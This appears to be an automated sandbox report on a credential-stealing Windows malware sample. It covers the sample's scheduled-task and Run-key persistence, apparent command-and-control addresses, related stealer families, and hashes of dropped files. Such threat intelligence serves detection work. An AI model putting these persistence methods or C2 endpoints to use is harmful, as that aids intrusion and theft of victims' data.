HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: UeW2b6mU6Z.exe

Simulations

Behavior and APIs

Time	Type	Description
22:38:56	Task Scheduler	Run new task: explorha path: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
22:40:11	Task Scheduler	Run new task: chrosha path: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
22:40:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bad48ea9ac.exe C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe
22:40:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 590971cd60.exe C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
22:40:23	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
22:40:23	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
22:40:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
22:40:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bad48ea9ac.exe C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe
22:40:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 590971cd60.exe C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
22:40:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
23:40:01	API Interceptor	843x Sleep call for process: explorha.exe modified
23:40:09	API Interceptor	39x Sleep call for process: powershell.exe modified
23:40:12	API Interceptor	2x Sleep call for process: svchost.exe modified
23:40:14	API Interceptor	492x Sleep call for process: chrosha.exe modified
23:40:40	API Interceptor	38x Sleep call for process: rundll32.exe modified
23:40:56	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
104.26.5.15	SecuriteInfo.com.Win64.Evo-gen.17494.7440.exe	Get hash	malicious	Unknown	Browse	api.db-ip.com/v2/free/127.0.0.1
	Nemty.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/84.17.52.2/countryName
	227.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/102.129.143.40/countryName
193.233.132.56	SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	SecuriteInfo.com.Win32.PWSX-gen.580.27252.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php?wal=1
	4fMLTRkOfB.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	SecuriteInfo.com.Win32.PWSX-gen.29653.14309.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	SecuriteInfo.com.Win32.PWSX-gen.29871.25289.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	V28EuIqeda.exe	Get hash	malicious	LummaC, PureLog Stealer, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	SecuriteInfo.com.Win32.PWSX-gen.14048.7584.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	IqMDm7pxzh.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php
	hDt1NKHx4j.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RisePro Stealer	Browse	193.233.132.56/Pneh2sXQk0/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	https://dinamicconsultores.app.questorpublico.com.br/	Get hash	malicious	HTMLPhisher	Browse	172.253.124.102
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	142.250.105.102
	http://gamma.app/docs/Adobe-1098-uanmwmhgl6i90tc?mode=doc	Get hash	malicious	Unknown	Browse	142.251.15.138
	https://site24x7.com	Get hash	malicious	Unknown	Browse	142.250.105.138
	http://mitchellind.ubpages.com/mi-ind/	Get hash	malicious	Unknown	Browse	74.125.136.139
	mXsR6hXwLC.exe	Get hash	malicious	Unknown	Browse	142.250.105.101
	dcphCVZwQt.exe	Get hash	malicious	Unknown	Browse	172.217.215.139
	0viTs45a9m.exe	Get hash	malicious	Unknown	Browse	142.251.15.100
	https://theredhendc.com	Get hash	malicious	Unknown	Browse	173.194.219.113
	https://docs.google.com/forms/d/e/1FAIpQLScaqr8AS5UHJLhHgsk75Su6KzT5rrqw0atzmeeQYQGFlm3rfA/viewform?usp=sf_link	Get hash	malicious	HTMLPhisher	Browse	172.217.215.102
ipinfo.io	pQTmpNQX2u.exe	Get hash	malicious	DCRat	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	EpsilonFruit.exe	Get hash	malicious	Pafish	Browse	34.117.186.192
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	BetaUnfrated.exe	Get hash	malicious	Pafish	Browse	34.117.186.192
	nsis-installer.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	nsis-installer.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
db-ip.com	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.75.166
	7AdIyN5s2K.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.5.15
	YUoiqJo8Sk.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	JR58WqLhRl.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	34.117.186.192
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	34.117.188.166
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	34.117.188.166
	pQTmpNQX2u.exe	Get hash	malicious	DCRat	Browse	34.117.186.192
	https://csactivation.carestreamdental.com/ViewSwitcher/SwitchView?mobile=True&returnUrl=https://bpy.us/moTxvQ3E4RAm3ToTxn2APa4RAchQ3E4RAD5QyD5Qm3TQ3EmD5Qz01coTxm&mc=101631	Get hash	malicious	Unknown	Browse	34.117.33.233
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	34.117.186.192
	EpsilonFruit.exe	Get hash	malicious	Pafish	Browse	34.117.186.192
FREE-NET-ASFREEnetEU	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	193.233.132.167
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	185.103.100.31
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	147.45.67.1
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	193.233.132.175
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	https://casestudybuddy.com	Get hash	malicious	Unknown	Browse	147.45.47.87
	PBZcC2ge1z.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	147.45.77.238
FREE-NET-ASFREEnetEU	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	193.233.132.167
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	185.103.100.31
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	147.45.67.1
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	193.233.132.175
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	https://casestudybuddy.com	Get hash	malicious	Unknown	Browse	147.45.47.87
	PBZcC2ge1z.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	147.45.77.238
CLOUDFLARENETUS	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5	Get hash	malicious	Remcos	Browse	172.66.0.163
	Payment Receipt .html	Get hash	malicious	HTMLPhisher	Browse	172.67.202.97
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.13.205
	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.21.71.20
	KZWCMNWmmqi9lvI.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
FREE-NET-ASFREEnetEU	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	193.233.132.167
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	185.103.100.31
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	147.45.67.1
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	SecuriteInfo.com.Win64.CrypterX-gen.2144.26023.exe	Get hash	malicious	Glupteba, PureLog Stealer, zgRAT	Browse	193.233.132.175
	Q73YlTAmWe.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	https://casestudybuddy.com	Get hash	malicious	Unknown	Browse	147.45.47.87
	PBZcC2ge1z.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	147.45.77.238

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Payment Receipt .html	Get hash	malicious	HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	https://dinamicconsultores.app.questorpublico.com.br/	Get hash	malicious	HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	https://msteams.link/WK80	Get hash	malicious	Phisher	Browse	40.126.28.20 20.12.23.50
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	40.126.28.20 20.12.23.50
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	40.126.28.20 20.12.23.50
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	40.126.28.20 20.12.23.50
	https://watsonpropertyllc.formstack.com/forms/staff	Get hash	malicious	Unknown	Browse	40.126.28.20 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	0001.doc	Get hash	malicious	Dynamer	Browse	104.26.5.15 34.117.186.192
	XY2I8rWLkM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	104.26.5.15 34.117.186.192
	PO_983888123.xls	Get hash	malicious	Unknown	Browse	104.26.5.15 34.117.186.192
	8Sb3Ng0nF3.exe	Get hash	malicious	LummaC	Browse	104.26.5.15 34.117.186.192
	SecuriteInfo.com.Riskware.2144FlashPlayer.20362.15838.exe	Get hash	malicious	Unknown	Browse	104.26.5.15 34.117.186.192
	Gantt_Excel_Pro_Daily_Free1.xlsm	Get hash	malicious	Unknown	Browse	104.26.5.15 34.117.186.192
	SecuriteInfo.com.Riskware.2144FlashPlayer.20362.15838.exe	Get hash	malicious	Unknown	Browse	104.26.5.15 34.117.186.192
	5B8DEyPZmK.exe	Get hash	malicious	LummaC	Browse	104.26.5.15 34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15 34.117.186.192
	dendy.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15 34.117.186.192

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.1033.1898.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, Vidar	Browse
	a5PfQvvi4y.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	4fMLTRkOfB.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.PWSX-gen.29871.25289.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.PWSX-gen.14048.7584.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RisePro Stealer	Browse
	Yw502Cdx4o.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MPGPH131\MPGPH131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327552
Entropy (8bit):	7.951651680625518
Encrypted:	false
SSDEEP:	49152:8eF1xn14/IbRdcpHdN1jmFdsNaWJXmAUvz3i+Cpcn7hhnLRU:l1xn1Fdc1nF0GNaWZmAmz3ihWdhnVU
MD5:	3709AD0A7007BCAE942B905A07BD6BBA
SHA1:	9D25192C841F3B2FB1B9BBB0DFDCEC6CDAACA3A7
SHA-256:	2248CAA741EC4D757C597091F2BAB56F694181EF5A677BDAB47D990E4C7F695A
SHA-512:	D41CBC49DED02909E0EAE68DA22988C36993BDE9DB4025F64D45007D2C47ED07A7CDC1A2B28AE1CB7ECB8D4C5169CB4084650ADADDB656CAF33B4E0AD85239FC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........Y......P....@.......................... Y.....M.#...@..........................ZX.L...m........P......................ZX.............................@ZX.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... .@*.. ......................@...kiragzej.....`?.....................@...cquspnza......Y.......#.............@...................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073580087903476
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrP:KooCEYhgYEL0In
MD5:	6804F34B5A3D98AAF7A9321AC3DBA1E2
SHA1:	440E48549B0CCDE324E713181CC9CB65A44FCE7A
SHA-256:	DA0B7F696D5BA1005A2512CDD2E01F4DD8B5262A857A0D777F866B4B8946E1C8
SHA-512:	8B3BF02A9342C9D2623FE133BB02F5B2FA4BE34D60D21A25C8679219316C504FDD748E6F6D2E8101EB6A3676EAC12F3E964A7D06D240CC2B4FEBE9B6A948B367
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1335672c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220924176516839
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	286C40A48B5FC28C8586A02DA10D3E00
SHA1:	5CE4471EF01B187A1F47EBED352C296CE117CA82
SHA-256:	74E8A376F0DE55FB71EAD5D5DB3AF9EE64B803E1C775887CBBD82B4FAE5FC66E
SHA-512:	C1B8FDEB9E5C8AE8FE2D05DF42C916D56DB32366EE871B95A4E1F1858358B7F47BB0619D99CCE9524082E966ACB7C61D2B377DA3684385385A08BFDF6B6C7F95
Malicious:	false
Preview:	.5g,... .......A.......X\...;...{......................0.!..........{A..(...\|_.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................\+M+.(...\|....................4..(...\|_..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07559675742257696
Encrypted:	false
SSDEEP:	3:OmyYefUDukjn13a/3lillcVO/lnlZMxZNQl:OmyzfLk53q3IOewk
MD5:	0F8F09C916534760C35659E57D97210B
SHA1:	6C4385B5ECD81AEF03DD8E448AC3B2080F25D124
SHA-256:	BE1238F36585BB1113B58E0333B23E76DE5BF681C88A3F0ED34B7A890D8107F3
SHA-512:	5FAFC64372551563A349A0DE1D7063B6DEA5BEA4D60B657EB389D772219BD552DCBEF433840513825148EF0485813EE0C93CE54FCAD74273DA6BD6D755D20FA2
Malicious:	false
Preview:	0........................................;...{...(...\|_......{A..............{A......{A..........{A]..................4..(...\|_.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_590971cd60.exe_149de64985787461d87d0d1efcae31c73651fe_a5a86e23_910ffeb1-ded4-48c0-afeb-48341804a6e8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0814162660995867
Encrypted:	false
SSDEEP:	192:Jva1Cfo0D/BU/jL67Zr96nIzuiFgZ24IO8Yu7T:Y1CfDD/BU/jJIzuiFgY4IO8Yu3
MD5:	53BB92CBF4901BC510EFD66CEDD78068
SHA1:	FA7B95BD863255CDC5718B1E7BCB0EFF99FC1B7E
SHA-256:	6CCA2FE9CFF4CE4A98EC4BBC7B21DA198CB7F06787077E4D90FD277F8EB9C096
SHA-512:	15F6ADA845F20F83A767E983069A349F7FF73BA3FC6AEE32FCE6D0D5E9B287ADB27C0366027687C006C843C97834D32279032FE42CD6B24DF855917ED45A4618
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.9.5.0.0.3.7.1.1.5.6.0.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.9.5.0.0.4.3.3.5.5.9.8.7.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.1.0.f.f.e.b.1.-.d.e.d.4.-.4.8.c.0.-.a.f.e.b.-.4.8.3.4.1.8.0.4.a.6.e.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.a.9.0.7.5.c.6.-.6.c.7.d.-.4.f.e.6.-.a.4.9.d.-.d.d.c.6.3.a.1.0.b.3.d.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.9.0.9.7.1.c.d.6.0...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.w.p.a...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.a.c.-.0.0.0.1.-.0.0.1.4.-.e.2.4.7.-.1.3.0.0.d.9.9.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.f.8.9.e.b.f.a.e.e.9.5.3.f.9.e.3.a.f.4.1.a.f.b.b.f.2.6.5.b.b.0.0.0.0.0.9.0.4.!.0.0.0.0.9.d.2.5.1.9.2.c.8.4.1.f.3.b.2.f.b.1.b.9.b.b.b.0.d.f.d.c.e.c.6.c.d.a.a.c.a.3.a.7.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MPGPH131.exe_1bf26049f73fda96130f9655cb8501eed2c1a51_71691813_bda1928f-30fd-4554-8fe6-8c6e4b25f618\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0661673281712292
Encrypted:	false
SSDEEP:	192:arblvWzN83dd005DXf6E6jjbdnZrxLZOzuiFgZ24IO8d6t:IhaNCde05DXGjXOzuiFgY4IO8q
MD5:	2E812DAE77AAAFEDB28222A3C829F3B8
SHA1:	82D1FA0CE03315DCA8BCEB7E43BF8F76B27602CB
SHA-256:	B5B057978D1D5B2E4E7C25F1426A1E65E9959FC9F41FAB8A419F27A29793FE9D
SHA-512:	B3295A5401C46DCC704005CB9F5593A6B8469D8F156D99A4627A20E180B04C0F41BB1C72526950D443191564D599C9B05C621B5E26AE7A312109F473A397E75E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.9.5.0.0.5.0.7.8.0.4.2.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.9.5.0.0.5.1.3.5.9.3.8.5.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.d.a.1.9.2.8.f.-.3.0.f.d.-.4.5.5.4.-.8.f.e.6.-.8.c.6.e.4.b.2.5.f.6.1.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.2.e.4.f.f.e.7.-.9.3.5.e.-.4.5.f.3.-.9.7.a.9.-.3.4.0.d.5.a.b.3.2.c.c.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.P.G.P.H.1.3.1...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.w.p.a...d.l.l.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.e.8.-.0.0.0.1.-.0.0.1.4.-.0.9.c.9.-.f.0.0.4.d.9.9.1.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.3.f.8.9.e.b.f.a.e.e.9.5.3.f.9.e.3.a.f.4.1.a.f.b.b.f.2.6.5.b.b.0.0.0.0.0.9.0.4.!.0.0.0.0.9.d.2.5.1.9.2.c.8.4.1.f.3.b.2.f.b.1.b.9.b.b.b.0.d.f.d.c.e.c.6.c.d.a.a.c.a.3.a.7.!.M.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2B1D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Apr 18 21:40:50 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	266468
Entropy (8bit):	1.4621943409720781
Encrypted:	false
SSDEEP:	768:Wypm+NyeK5v5ZNZahsmQIcJNfbdZDutok+:3+raFlcHbdZDut
MD5:	7F5857FA7C6D4F9DB898A0A98231BB3F
SHA1:	D9788402203B85D708077527876B5492CDBF2FC3
SHA-256:	CE58AC37F0270E7A089DCDE42344804FF160575320E3EA25B2EAA69BECA15135
SHA-512:	95C146F6C34FC61226D853BB1AF78D29FB717D5B87FBF8728631499D93D10CF77017375CA0868B03A2B7F291BF0ED5FB2C86621D864261F4C0B1C1769E837ABA
Malicious:	false
